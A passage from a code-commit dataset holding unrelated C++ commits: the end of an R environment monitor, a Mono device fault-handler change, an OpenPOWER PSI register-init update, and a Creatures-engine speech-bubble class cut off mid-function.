environment_.set(pEnvironment);\n\n \/\/ init the environment by doing an initial check for changes\n initialized_ = false;\n checkForChanges();\n}\n\nSEXP EnvironmentMonitor::getMonitoredEnvironment()\n{\n return environment_.get();\n}\n\nvoid EnvironmentMonitor::listEnv(std::vector<r::sexp::Variable>* pEnv)\n{\n r::sexp::Protect rProtect;\n r::sexp::listEnvironment(getMonitoredEnvironment(), false, &rProtect, pEnv);\n}\n\nvoid EnvironmentMonitor::checkForChanges()\n{\n \/\/ information about the current environment\n std::vector<r::sexp::Variable> currentEnv ;\n std::vector<r::sexp::Variable> currentPromises;\n\n \/\/ list of assigns\/removes (includes both value changes and promise\n \/\/ evaluations)\n std::vector<r::sexp::Variable> addedVars;\n std::vector<r::sexp::Variable> removedVars;\n\n \/\/ get the set of variables and promises in the current environment\n listEnv(¤tEnv);\n\n \/\/ R returns an environment list sorted in dictionary order. Since the\n \/\/ set difference algorithms below use simple string comparisons to\n \/\/ establish order, we need to re-sort the list into canonical order\n \/\/ to avoid the algorithms detecting superfluous insertions.\n std::sort(currentEnv.begin(), currentEnv.end(), compareVarName);\n\n std::for_each(currentEnv.begin(), currentEnv.end(),\n boost::bind(addUnevaledPromise, ¤tPromises, _1));\n\n bool refreshEnqueued = false;\n if (!initialized_)\n {\n if (getMonitoredEnvironment() == R_GlobalEnv)\n {\n enqueRefreshEvent();\n refreshEnqueued = true;\n }\n initialized_ = true;\n }\n else\n {\n if (currentEnv != lastEnv_)\n {\n \/\/ optimize for empty currentEnv (user reset workspace) or empty\n \/\/ lastEnv_ (startup) by just sending a single refresh event\n \/\/ only do this for the global environment--while debugging local\n \/\/ environments, the environment object list is sent down as part of\n \/\/ the context depth event.\n if ((currentEnv.empty() || lastEnv_.empty())\n && getMonitoredEnvironment() == R_GlobalEnv)\n {\n enqueRefreshEvent();\n refreshEnqueued = true;\n }\n else\n {\n std::set_difference(lastEnv_.begin(), lastEnv_.end(),\n currentEnv.begin(), currentEnv.end(),\n std::back_inserter(removedVars),\n compareVarName);\n\n \/\/ fire removed event for deletes\n std::for_each(removedVars.begin(),\n removedVars.end(),\n boost::bind(&EnvironmentMonitor::enqueRemovedEvent,\n this, _1));\n\n \/\/ remove deleted objects from the list of uneval'ed promises\n \/\/ so we'll stop monitoring them for evaluation\n std::for_each(removedVars.begin(),\n removedVars.end(),\n boost::bind(removeVarFromList, &unevaledPromises_, _1));\n\n \/\/ find adds & assigns (all variable name\/value combinations in the\n \/\/ current environment but NOT in the previous environment)\n std::set_difference(currentEnv.begin(), currentEnv.end(),\n lastEnv_.begin(), lastEnv_.end(),\n std::back_inserter(addedVars));\n\n \/\/ remove assigned objects from the list of uneval'ed promises\n \/\/ (otherwise, we double-assign in the case where a promise SEXP\n \/\/ is simultaneously forced\/evaluated and assigned a new value)\n std::for_each(addedVars.begin(),\n addedVars.end(),\n boost::bind(removeVarFromList, &unevaledPromises_, _1));\n\n }\n }\n \/\/ if a refresh is scheduled there's no need to emit add events one by one\n if (!refreshEnqueued)\n {\n \/\/ have any promises been evaluated since we last checked?\n if (currentPromises != unevaledPromises_)\n {\n \/\/ for each promise that is in the set of promises we are monitoring\n \/\/ for evaluation but not in the set of currently tracked promises,\n \/\/ we assume this to be an eval--process as an assign\n std::set_difference(unevaledPromises_.begin(), unevaledPromises_.end(),\n currentPromises.begin(), currentPromises.end(),\n std::back_inserter(addedVars));\n }\n\n \/\/ fire assigned event for adds, assigns, and promise evaluations\n std::for_each(addedVars.begin(),\n addedVars.end(),\n boost::bind(&EnvironmentMonitor::enqueAssignedEvent,\n this, _1));\n }\n }\n\n unevaledPromises_ = currentPromises;\n lastEnv_ = currentEnv;\n}\n\n\n} \/\/ namespace environment\n} \/\/ namespace modules\n} \/\/ namespace session\n<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ application_context.cpp\n\/\/ usbtest\n\/\/\n\/\/ Created by Kristoffer Andersen on 13\/07\/15.\n\/\/ Copyright (c) 2015 Monolit ApS. All rights reserved.\n\/\/\n\n#include \"application_context.h\"\n#include \"application_controller_interface.h\"\n#include <display_painter.h>\n#include \"consoles.h\"\n#include <mbed_interface.h>\n\nextern \"C\" {\n#include <project.h>\n}\n\nvoid faultExceptionHandler()\n{\n mbed_die();\n}\n\n\nusing namespace mono;\n\nApplicationContext ApplicationContext::singleton;\nIApplicationContext *IApplicationContext::Instance = NULL; \/\/&(ApplicationContext::singleton);\n\nApplicationContext::ApplicationContext() : IApplicationContext(&pwrMgmt, &runLoop, &dispController), dispController()\n{\n PWM_Start();\n PWM_WriteCompare1(0);\n PWM_WriteCompare2(0);\n}\n\nint ApplicationContext::exec()\n{\n runLoop.exec();\n \n return 0;\n}\n\nvoid ApplicationContext::setMonoApplication(mono::IApplication *monoApp)\n{\n this->application = monoApp;\n \n \/\/CyIntSetSysVector(CY_INT_NMI_IRQN, &faultExceptionHandler);\n CyIntSetSysVector(CY_INT_HARD_FAULT_IRQN, &faultExceptionHandler);\n \/\/CyIntSetSysVector(CY_INT_MEM_MANAGE_IRQN, &faultExceptionHandler);\n \/\/CyIntSetSysVector(CY_INT_BUS_FAULT_IRQN, &faultExceptionHandler);\n \/\/CyIntSetSysVector(CY_INT_USAGE_FAULT_IRQN, &faultExceptionHandler);\n \n \/\/PowerSystem->onSystemPowerOnReset();\n \/\/pwrMgmt.processResetAwarenessQueue();\n \n \/\/defaultSerial.printf(\"Display init deactivated\\n\\t\");\n mono::IApplicationContext::Instance->DisplayController->init();\n \n monoApp->monoWakeFromReset();\n \n}\n\nvoid ApplicationContext::sleepForMs(uint32_t ms)\n{\n uint8_t ticks = 1;\n while ((1u << ticks) < ms) {\n ticks++;\n }\n \n defaultSerial.printf(\"Setting CTW to: %i for ms: %i\\n\\r\",ticks, ms);\n *((reg8*)CYREG_PM_TW_CFG1) = 0x0F & ticks;\n PM_TW_CFG2 = PM_TW_CFG2 | 0x0C; \/\/ CTW enable and CTW interrupts\n defaultSerial.printf(\"CTW CFG Reg: 0x%x\\n\\r\",PM_TW_CFG2);\n enterSleepMode();\n}\n\nvoid ApplicationContext::enterSleepMode()\n{\n this->application->monoWillGotoSleep();\n \n PowerManager->EnterSleep();\n \n this->application->monoWakeFromSleep();\n \n}\n\nvoid ApplicationContext::_softwareReset()\n{\n Bootloadable_SET_RUN_TYPE(Bootloadable_START_APP);\n CySoftwareReset();\n while(1); \/\/ silence compiler warning\n}\n\nvoid ApplicationContext::_softwareResetToBootloader()\n{\n Bootloadable_SET_RUN_TYPE(Bootloadable_START_BTLDR);\n CySoftwareReset();\n while(1); \/\/ silence compiler warning\n}\n\nvoid ApplicationContext::resetOnUserButton()\n{\n debug(\"Mono will reset on user button!\\n\\r\");\n this->runLoop.setResetOnUserButton(true);\n}\n\n<commit_msg>fault handler call mbed directly<commit_after>\/\/\n\/\/ application_context.cpp\n\/\/ usbtest\n\/\/\n\/\/ Created by Kristoffer Andersen on 13\/07\/15.\n\/\/ Copyright (c) 2015 Monolit ApS. All rights reserved.\n\/\/\n\n#include \"application_context.h\"\n#include \"application_controller_interface.h\"\n#include <display_painter.h>\n#include \"consoles.h\"\n#include <mbed_interface.h>\n\nextern \"C\" {\n#include <project.h>\n}\n\n\nusing namespace mono;\n\nApplicationContext ApplicationContext::singleton;\nIApplicationContext *IApplicationContext::Instance = NULL; \/\/&(ApplicationContext::singleton);\n\nApplicationContext::ApplicationContext() : IApplicationContext(&pwrMgmt, &runLoop, &dispController), dispController()\n{\n PWM_Start();\n PWM_WriteCompare1(0);\n PWM_WriteCompare2(0);\n}\n\nint ApplicationContext::exec()\n{\n runLoop.exec();\n \n return 0;\n}\n\nvoid ApplicationContext::setMonoApplication(mono::IApplication *monoApp)\n{\n this->application = monoApp;\n \n \/\/CyIntSetSysVector(CY_INT_NMI_IRQN, &faultExceptionHandler);\n CyIntSetSysVector(CY_INT_HARD_FAULT_IRQN, &mbed_die);\n \/\/CyIntSetSysVector(CY_INT_MEM_MANAGE_IRQN, &faultExceptionHandler);\n \/\/CyIntSetSysVector(CY_INT_BUS_FAULT_IRQN, &faultExceptionHandler);\n \/\/CyIntSetSysVector(CY_INT_USAGE_FAULT_IRQN, &faultExceptionHandler);\n \n \/\/PowerSystem->onSystemPowerOnReset();\n pwrMgmt.processResetAwarenessQueue();\n \n \/\/defaultSerial.printf(\"Display init deactivated\\n\\t\");\n mono::IApplicationContext::Instance->DisplayController->init();\n \n monoApp->monoWakeFromReset();\n \n}\n\nvoid ApplicationContext::sleepForMs(uint32_t ms)\n{\n uint8_t ticks = 1;\n while ((1u << ticks) < ms) {\n ticks++;\n }\n \n defaultSerial.printf(\"Setting CTW to: %i for ms: %i\\n\\r\",ticks, ms);\n *((reg8*)CYREG_PM_TW_CFG1) = 0x0F & ticks;\n PM_TW_CFG2 = PM_TW_CFG2 | 0x0C; \/\/ CTW enable and CTW interrupts\n defaultSerial.printf(\"CTW CFG Reg: 0x%x\\n\\r\",PM_TW_CFG2);\n enterSleepMode();\n}\n\nvoid ApplicationContext::enterSleepMode()\n{\n this->application->monoWillGotoSleep();\n \n PowerManager->EnterSleep();\n \n this->application->monoWakeFromSleep();\n \n}\n\nvoid ApplicationContext::_softwareReset()\n{\n Bootloadable_SET_RUN_TYPE(Bootloadable_START_APP);\n CySoftwareReset();\n while(1); \/\/ silence compiler warning\n}\n\nvoid ApplicationContext::_softwareResetToBootloader()\n{\n Bootloadable_SET_RUN_TYPE(Bootloadable_START_BTLDR);\n CySoftwareReset();\n while(1); \/\/ silence compiler warning\n}\n\nvoid ApplicationContext::resetOnUserButton()\n{\n debug(\"Mono will reset on user button!\\n\\r\");\n this->runLoop.setResetOnUserButton(true);\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/* IBM_PROLOG_BEGIN_TAG *\/\n\/* This is an automatically generated prolog. *\/\n\/* *\/\n\/* $Source: src\/import\/chips\/p9\/procedures\/hwp\/initfiles\/p9_psi_scom.C $ *\/\n\/* *\/\n\/* OpenPOWER HostBoot Project *\/\n\/* *\/\n\/* Contributors Listed Below - COPYRIGHT 2016 *\/\n\/* [+] International Business Machines Corp. *\/\n\/* *\/\n\/* *\/\n\/* Licensed under the Apache License, Version 2.0 (the \"License\"); *\/\n\/* you may not use this file except in compliance with the License. *\/\n\/* You may obtain a copy of the License at *\/\n\/* *\/\n\/* http:\/\/www.apache.org\/licenses\/LICENSE-2.0 *\/\n\/* *\/\n\/* Unless required by applicable law or agreed to in writing, software *\/\n\/* distributed under the License is distributed on an \"AS IS\" BASIS, *\/\n\/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or *\/\n\/* implied. See the License for the specific language governing *\/\n\/* permissions and limitations under the License. *\/\n\/* *\/\n\/* IBM_PROLOG_END_TAG *\/\n#include \"p9_psi_scom.H\"\n#include <stdint.h>\n#include <stddef.h>\n#include <fapi2.H>\n\nusing namespace fapi2;\n\nconstexpr uint64_t literal_0xFE00000000000000 = 0xFE00000000000000;\nconstexpr uint64_t literal_0x0000000000000000 = 0x0000000000000000;\nconstexpr uint64_t literal_0b00111001000000101111111111111 = 0b00111001000000101111111111111;\nconstexpr uint64_t literal_0b00000000000000000000000000000 = 0b00000000000000000000000000000;\nconstexpr uint64_t literal_0b11000110001010010000000000000 = 0b11000110001010010000000000000;\nconstexpr uint64_t literal_0x000 = 0x000;\nconstexpr uint64_t literal_0b00000 = 0b00000;\n\nfapi2::ReturnCode p9_psi_scom(const fapi2::Target<fapi2::TARGET_TYPE_PROC_CHIP>& TGT0)\n{\n {\n fapi2::ATTR_EC_Type l_chip_ec;\n fapi2::ATTR_NAME_Type l_chip_id;\n FAPI_TRY(FAPI_ATTR_GET_PRIVILEGED(fapi2::ATTR_NAME, TGT0, l_chip_id));\n FAPI_TRY(FAPI_ATTR_GET_PRIVILEGED(fapi2::ATTR_EC, TGT0, l_chip_ec));\n fapi2::buffer<uint64_t> l_scom_buffer;\n {\n FAPI_TRY(fapi2::getScom( TGT0, 0x4011803ull, l_scom_buffer ));\n\n l_scom_buffer.insert<0, 7, 0, uint64_t>(literal_0xFE00000000000000 );\n FAPI_TRY(fapi2::putScom(TGT0, 0x4011803ull, l_scom_buffer));\n }\n {\n FAPI_TRY(fapi2::getScom( TGT0, 0x4011806ull, l_scom_buffer ));\n\n l_scom_buffer.insert<0, 7, 0, uint64_t>(literal_0x0000000000000000 );\n FAPI_TRY(fapi2::putScom(TGT0, 0x4011806ull, l_scom_buffer));\n }\n {\n FAPI_TRY(fapi2::getScom( TGT0, 0x4011807ull, l_scom_buffer ));\n\n l_scom_buffer.insert<0, 7, 0, uint64_t>(literal_0x0000000000000000 );\n FAPI_TRY(fapi2::putScom(TGT0, 0x4011807ull, l_scom_buffer));\n }\n {\n FAPI_TRY(fapi2::getScom( TGT0, 0x5012903ull, l_scom_buffer ));\n\n l_scom_buffer.insert<0, 29, 35, uint64_t>(literal_0b00111001000000101111111111111 );\n FAPI_TRY(fapi2::putScom(TGT0, 0x5012903ull, l_scom_buffer));\n }\n {\n FAPI_TRY(fapi2::getScom( TGT0, 0x5012906ull, l_scom_buffer ));\n\n l_scom_buffer.insert<0, 29, 35, uint64_t>(literal_0b00000000000000000000000000000 );\n FAPI_TRY(fapi2::putScom(TGT0, 0x5012906ull, l_scom_buffer));\n }\n {\n FAPI_TRY(fapi2::getScom( TGT0, 0x5012907ull, l_scom_buffer ));\n\n l_scom_buffer.insert<0, 29, 35, uint64_t>(literal_0b11000110001010010000000000000 );\n FAPI_TRY(fapi2::putScom(TGT0, 0x5012907ull, l_scom_buffer));\n }\n {\n FAPI_TRY(fapi2::getScom( TGT0, 0x501290full, l_scom_buffer ));\n\n l_scom_buffer.insert<16, 12, 52, uint64_t>(literal_0x000 );\n l_scom_buffer.insert<48, 5, 59, uint64_t>(literal_0b00000 );\n FAPI_TRY(fapi2::putScom(TGT0, 0x501290full, l_scom_buffer));\n }\n\n };\nfapi_try_exit:\n return fapi2::current_err;\n}\n<commit_msg>PSI FIR updates<commit_after>\/* IBM_PROLOG_BEGIN_TAG *\/\n\/* This is an automatically generated prolog. *\/\n\/* *\/\n\/* $Source: src\/import\/chips\/p9\/procedures\/hwp\/initfiles\/p9_psi_scom.C $ *\/\n\/* *\/\n\/* OpenPOWER HostBoot Project *\/\n\/* *\/\n\/* Contributors Listed Below - COPYRIGHT 2016,2017 *\/\n\/* [+] International Business Machines Corp. *\/\n\/* *\/\n\/* *\/\n\/* Licensed under the Apache License, Version 2.0 (the \"License\"); *\/\n\/* you may not use this file except in compliance with the License. *\/\n\/* You may obtain a copy of the License at *\/\n\/* *\/\n\/* http:\/\/www.apache.org\/licenses\/LICENSE-2.0 *\/\n\/* *\/\n\/* Unless required by applicable law or agreed to in writing, software *\/\n\/* distributed under the License is distributed on an \"AS IS\" BASIS, *\/\n\/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or *\/\n\/* implied. See the License for the specific language governing *\/\n\/* permissions and limitations under the License. *\/\n\/* *\/\n\/* IBM_PROLOG_END_TAG *\/\n#include \"p9_psi_scom.H\"\n#include <stdint.h>\n#include <stddef.h>\n#include <fapi2.H>\n\nusing namespace fapi2;\n\nconstexpr uint64_t literal_0xFE00000000000000 = 0xFE00000000000000;\nconstexpr uint64_t literal_0x0000000000000000 = 0x0000000000000000;\nconstexpr uint64_t literal_0b00111111000000100000011011111 = 0b00111111000000100000011011111;\nconstexpr uint64_t literal_0b00000000000000000000000000000 = 0b00000000000000000000000000000;\nconstexpr uint64_t literal_0b11000000001010011111100100000 = 0b11000000001010011111100100000;\nconstexpr uint64_t literal_0x000 = 0x000;\nconstexpr uint64_t literal_0b00000 = 0b00000;\n\nfapi2::ReturnCode p9_psi_scom(const fapi2::Target<fapi2::TARGET_TYPE_PROC_CHIP>& TGT0)\n{\n {\n fapi2::ATTR_EC_Type l_chip_ec;\n fapi2::ATTR_NAME_Type l_chip_id;\n FAPI_TRY(FAPI_ATTR_GET_PRIVILEGED(fapi2::ATTR_NAME, TGT0, l_chip_id));\n FAPI_TRY(FAPI_ATTR_GET_PRIVILEGED(fapi2::ATTR_EC, TGT0, l_chip_ec));\n fapi2::buffer<uint64_t> l_scom_buffer;\n {\n FAPI_TRY(fapi2::getScom( TGT0, 0x4011803ull, l_scom_buffer ));\n\n l_scom_buffer.insert<0, 7, 0, uint64_t>(literal_0xFE00000000000000 );\n FAPI_TRY(fapi2::putScom(TGT0, 0x4011803ull, l_scom_buffer));\n }\n {\n FAPI_TRY(fapi2::getScom( TGT0, 0x4011806ull, l_scom_buffer ));\n\n l_scom_buffer.insert<0, 7, 0, uint64_t>(literal_0x0000000000000000 );\n FAPI_TRY(fapi2::putScom(TGT0, 0x4011806ull, l_scom_buffer));\n }\n {\n FAPI_TRY(fapi2::getScom( TGT0, 0x4011807ull, l_scom_buffer ));\n\n l_scom_buffer.insert<0, 7, 0, uint64_t>(literal_0x0000000000000000 );\n FAPI_TRY(fapi2::putScom(TGT0, 0x4011807ull, l_scom_buffer));\n }\n {\n FAPI_TRY(fapi2::getScom( TGT0, 0x5012903ull, l_scom_buffer ));\n\n l_scom_buffer.insert<0, 29, 35, uint64_t>(literal_0b00111111000000100000011011111 );\n FAPI_TRY(fapi2::putScom(TGT0, 0x5012903ull, l_scom_buffer));\n }\n {\n FAPI_TRY(fapi2::getScom( TGT0, 0x5012906ull, l_scom_buffer ));\n\n l_scom_buffer.insert<0, 29, 35, uint64_t>(literal_0b00000000000000000000000000000 );\n FAPI_TRY(fapi2::putScom(TGT0, 0x5012906ull, l_scom_buffer));\n }\n {\n FAPI_TRY(fapi2::getScom( TGT0, 0x5012907ull, l_scom_buffer ));\n\n l_scom_buffer.insert<0, 29, 35, uint64_t>(literal_0b11000000001010011111100100000 );\n FAPI_TRY(fapi2::putScom(TGT0, 0x5012907ull, l_scom_buffer));\n }\n {\n FAPI_TRY(fapi2::getScom( TGT0, 0x501290full, l_scom_buffer ));\n\n l_scom_buffer.insert<16, 12, 52, uint64_t>(literal_0x000 );\n l_scom_buffer.insert<48, 5, 59, uint64_t>(literal_0b00000 );\n FAPI_TRY(fapi2::putScom(TGT0, 0x501290full, l_scom_buffer));\n }\n\n };\nfapi_try_exit:\n return fapi2::current_err;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Bubble.cpp\n * openc2e\n *\n * Created by Alyssa Milburn on Sat Apr 26 2008.\n * Copyright (c) 2008 Alyssa Milburn. All rights reserved.\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n *\/\n\n#include \"Bubble.h\"\n#include \"World.h\"\n#include \"Engine.h\"\n#include \"Backend.h\"\n#include \"Camera.h\"\n#include \"creaturesImage.h\"\n\n\/\/ class BubblePart *ourPart;\n\nBubble::Bubble(unsigned char family, unsigned char genus, unsigned short species, unsigned int plane,\n\t\tstd::string spritefile, unsigned int firstimage, unsigned int imagecount, \n\t\tunsigned int tx, unsigned int ty, unsigned int twidth, unsigned int theight,\n\t\tunsigned int bgcolour, unsigned int tcolour)\n\t\t: CompoundAgent(family, genus, species, plane, spritefile, firstimage, imagecount) {\n\tourPart = new BubblePart(this, 1, tx, ty);\n\taddPart(ourPart);\n\tourPart->textwidth = twidth;\n\tourPart->textheight = theight;\n\tourPart->backgroundcolour = bgcolour;\n\tourPart->textcolour = tcolour;\n\n\tourPart->editable = false;\n}\n\nvoid Bubble::setText(std::string s) {\n\tourPart->setText(s);\n}\n\nstd::string Bubble::getText() {\n\treturn ourPart->text;\n}\n\nvoid Bubble::setEditing(bool e) {\n\tourPart->editable = e;\n\tif (e)\n\t\tworld.setFocus(ourPart); \/\/ gain focus\n\telse if (world.focusagent == AgentRef(this) && world.focuspart == ourPart->id)\n\t\tworld.setFocus(0); \/\/ lose focus\n}\n\nvoid Bubble::setTimeout(unsigned int t) {\n\ttimeout = t;\n}\n\nvoid Bubble::tick() {\n\tCompoundAgent::tick();\n\n\tif (!paused && timeout) {\n\t\ttimeout--;\n\t\tif (timeout == 0) kill();\n\t}\n}\n\nvoid Bubble::turnIntoSpeech() {\n\tnewBubble((Agent *)world.hand(), true, getText());\n\n\t\/\/ TODO: announce via shou\n\t\/\/ TODO: add to speech history\n\n\tkill();\n}\n\nBubble *Bubble::newBubble(Agent *parent, bool speech, std::string text) {\n\tassert(engine.version < 3);\n\n\tassert(parent);\n\n\tbool leftside = false;\n\t\/\/ TODO: cope with wrap\n\tif (parent->x - world.camera->getX() < world.camera->getWidth() \/ 2) leftside = true;\n\n\tint pose;\n\tif (engine.version == 1) {\n\t\t\/\/ C1 poses\n\t\tif (speech)\n\t\t\tpose = leftside ? 10 : 9;\n\t\telse\n\t\t\tpose = leftside ? 12 : 11;\n\t} else {\n\t\t\/\/ C2 poses\n\t\t\/\/ pose adjusted on setText() if necessary\n\t\tif (speech)\n\t\t\tpose = leftside ? 21 : 18;\n\t\telse\n\t\t\tpose = leftside ? 27 : 24;\n\t}\n\n\tint plane;\n\tif (engine.version == 1) {\n\t\tplane = 9000;\n\t} else {\n\t\t\/\/ C2\n\t\tif (parent == (Agent *)world.hand())\n\t\t\tplane = 9999;\n\t\telse\n\t\t\tplane = 9995;\n\t}\n\n\tint xoffset = (engine.version == 1) ? 6 : 8;\n\tint yoffset = (engine.version == 1) ? 3 : 8;\n\tint twidth = (engine.version == 1) ? 144 : 95; \/\/ extended to fit text upon setText()\n\n\tBubble *ourBubble = new Bubble(2, 1, speech ? 2 : 1, plane, \"syst\", pose, engine.version == 1 ? 1 : 3, xoffset, yoffset, twidth, 12, 0, 0);\n\tourBubble->finishInit();\n\tourBubble->leftside = leftside;\n\n\tourBubble->attr = 32; \/\/ floating\n\tourBubble->floatTo(parent);\n\n\t\/\/ TODO: fix positioning\n\tif (leftside)\n\t\tourBubble->moveTo(parent->x + parent->getWidth() - 2, parent->y - ourBubble->getHeight());\n\telse\n\t\tourBubble->moveTo(parent->x - ourBubble->getWidth() + 2, parent->y - ourBubble->getHeight());\n\n\tourBubble->setText(text);\n\n\tif (speech)\n\t\tourBubble->setTimeout(2 * 10); \/\/ TODO: 2s is probably not right\n\telse\n\t\tourBubble->setEditing(true);\n\n\treturn ourBubble;\n}\n\n\/*\n class BubblePart : public CompoundPart {\n\tbool editable;\n\tstd::string text;\n\tunsigned int textwidth, textheight;\n\tunsigned int backgroundcolour, textcolour;\n*\/\n\nBubblePart::BubblePart(Bubble *p, unsigned int _id, int x, int y) : CompoundPart(p, _id, x, y, 1) {\n\teditable = false;\n\ttextwidth = 0;\n\ttextheight = 0;\n\ttextoffset = 0; \/\/ doesn't matter when text is empty\n}\n\nvoid BubblePart::partRender(class Surface *renderer, int xoffset, int yoffset) {\n\trenderer->renderText(xoffset + x + textoffset, yoffset + y, text, textcolour, backgroundcolour);\n}\n\nvoid BubblePart::gainFocus() {\n\tassert(editable);\n}\n\nvoid BubblePart::loseFocus() {\n\tparent->kill();\n}\n\nvoid BubblePart::handleKey(char c) {\n\t\/\/ TODO: reject invalid chars\n\n\tsetText(text + c);\n}\n\nvoid BubblePart::handleSpecialKey(char c) {\n\tswitch (c) {\n\t\tcase 8: \/\/ backspace\n\t\t\tif (text.size() == 0) { loseFocus(); return; }\n\t\t\t{ std::string s = text;\n\t\t\ts.erase(s.begin() + (s.size() - 1));\n\t\t\tsetText(s); }\n\t\t\tif (text.size() == 0) { loseFocus(); return; }\n\t\t\tbreak;\n\n\t\tcase 13: \/\/ return\n\t\t\t((Bubble *)parent)->turnIntoSpeech(); \/\/ TODO: omg hax\n\t\t\tbreak;\n\t}\n}\n\nunsigned int BubblePart::poseForWidth(unsigned int width) {\n\tif (engine.version == 1) return 0;\n\tSpritePart *s;\n\tif (!(s = dynamic_cast<SpritePart *>(parent->part(0)))) return 0;\n\tunsigned int sprite = s->getFirstImg();\n\twhile (sprite < s->getFirstImg()+2 && width > s->getSprite()->width(sprite) - 17)\n\t\tsprite++;\n\treturn sprite - s->getFirstImg();\n}\n\nvoid BubblePart::setText(std::string str) {\n\tunsigned int twidth = engine.backend->textWidth(str);\n\tunsigned int pose = poseForWidth(twidth);\n\tSpritePart *s;\n\tif ((s = dynamic_cast<SpritePart *>(parent->part(0)))) {\n\t\tif (pose != s->getPose()) {\n\t\t\ts->setPose(pose);\n\t\t\ttextwidth = s->getWidth() - 17;\n\t\t\tBubble* p = (Bubble*)parent; \/\/ TODO: omg hax\n\t\t\tif (!p->leftside)\n\t\t\t\tp->moveTo(p->floatingagent->x - p->getWidth() + 2, p->floatingagent->y - p->getHeight());\n\t\t}\n\t}\n\tif (twidth > textwidth) return;\n\n\ttext = str;\n\ttextoffset = (textwidth - twidth) \/ 2;\n}\n\n\/* vim: set noet: *\/\n<commit_msg>make BubblePart::setText only mess with poses\/width in C2<commit_after>\/*\n * Bubble.cpp\n * openc2e\n *\n * Created by Alyssa Milburn on Sat Apr 26 2008.\n * Copyright (c) 2008 Alyssa Milburn. All rights reserved.\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n *\/\n\n#include \"Bubble.h\"\n#include \"World.h\"\n#include \"Engine.h\"\n#include \"Backend.h\"\n#include \"Camera.h\"\n#include \"creaturesImage.h\"\n\n\/\/ class BubblePart *ourPart;\n\nBubble::Bubble(unsigned char family, unsigned char genus, unsigned short species, unsigned int plane,\n\t\tstd::string spritefile, unsigned int firstimage, unsigned int imagecount, \n\t\tunsigned int tx, unsigned int ty, unsigned int twidth, unsigned int theight,\n\t\tunsigned int bgcolour, unsigned int tcolour)\n\t\t: CompoundAgent(family, genus, species, plane, spritefile, firstimage, imagecount) {\n\tourPart = new BubblePart(this, 1, tx, ty);\n\taddPart(ourPart);\n\tourPart->textwidth = twidth;\n\tourPart->textheight = theight;\n\tourPart->backgroundcolour = bgcolour;\n\tourPart->textcolour = tcolour;\n\n\tourPart->editable = false;\n}\n\nvoid Bubble::setText(std::string s) {\n\tourPart->setText(s);\n}\n\nstd::string Bubble::getText() {\n\treturn ourPart->text;\n}\n\nvoid Bubble::setEditing(bool e) {\n\tourPart->editable = e;\n\tif (e)\n\t\tworld.setFocus(ourPart); \/\/ gain focus\n\telse if (world.focusagent == AgentRef(this) && world.focuspart == ourPart->id)\n\t\tworld.setFocus(0); \/\/ lose focus\n}\n\nvoid Bubble::setTimeout(unsigned int t) {\n\ttimeout = t;\n}\n\nvoid Bubble::tick() {\n\tCompoundAgent::tick();\n\n\tif (!paused && timeout) {\n\t\ttimeout--;\n\t\tif (timeout == 0) kill();\n\t}\n}\n\nvoid Bubble::turnIntoSpeech() {\n\tnewBubble((Agent *)world.hand(), true, getText());\n\n\t\/\/ TODO: announce via shou\n\t\/\/ TODO: add to speech history\n\n\tkill();\n}\n\nBubble *Bubble::newBubble(Agent *parent, bool speech, std::string text) {\n\tassert(engine.version < 3);\n\n\tassert(parent);\n\n\tbool leftside = false;\n\t\/\/ TODO: cope with wrap\n\tif (parent->x - world.camera->getX() < world.camera->getWidth() \/ 2) leftside = true;\n\n\tint pose;\n\tif (engine.version == 1) {\n\t\t\/\/ C1 poses\n\t\tif (speech)\n\t\t\tpose = leftside ? 10 : 9;\n\t\telse\n\t\t\tpose = leftside ? 12 : 11;\n\t} else {\n\t\t\/\/ C2 poses\n\t\t\/\/ pose adjusted on setText() if necessary\n\t\tif (speech)\n\t\t\tpose = leftside ? 21 : 18;\n\t\telse\n\t\t\tpose = leftside ? 27 : 24;\n\t}\n\n\tint plane;\n\tif (engine.version == 1) {\n\t\tplane = 9000;\n\t} else {\n\t\t\/\/ C2\n\t\tif (parent == (Agent *)world.hand())\n\t\t\tplane = 9999;\n\t\telse\n\t\t\tplane = 9995;\n\t}\n\n\tint xoffset = (engine.version == 1) ? 6 : 8;\n\tint yoffset = (engine.version == 1) ? 3 : 8;\n\tint twidth = (engine.version == 1) ? 144 : 95; \/\/ extended to fit text upon setText()\n\n\tBubble *ourBubble = new Bubble(2, 1, speech ? 2 : 1, plane, \"syst\", pose, engine.version == 1 ? 1 : 3, xoffset, yoffset, twidth, 12, 0, 0);\n\tourBubble->finishInit();\n\tourBubble->leftside = leftside;\n\n\tourBubble->attr = 32; \/\/ floating\n\tourBubble->floatTo(parent);\n\n\t\/\/ TODO: fix positioning\n\tif (leftside)\n\t\tourBubble->moveTo(parent->x + parent->getWidth() - 2, parent->y - ourBubble->getHeight());\n\telse\n\t\tourBubble->moveTo(parent->x - ourBubble->getWidth() + 2, parent->y - ourBubble->getHeight());\n\n\tourBubble->setText(text);\n\n\tif (speech)\n\t\tourBubble->setTimeout(2 * 10); \/\/ TODO: 2s is probably not right\n\telse\n\t\tourBubble->setEditing(true);\n\n\treturn ourBubble;\n}\n\n\/*\n class BubblePart : public CompoundPart {\n\tbool editable;\n\tstd::string text;\n\tunsigned int textwidth, textheight;\n\tunsigned int backgroundcolour, textcolour;\n*\/\n\nBubblePart::BubblePart(Bubble *p, unsigned int _id, int x, int y) : CompoundPart(p, _id, x, y, 1) {\n\teditable = false;\n\ttextwidth = 0;\n\ttextheight = 0;\n\ttextoffset = 0; \/\/ doesn't matter when text is empty\n}\n\nvoid BubblePart::partRender(class Surface *renderer, int xoffset, 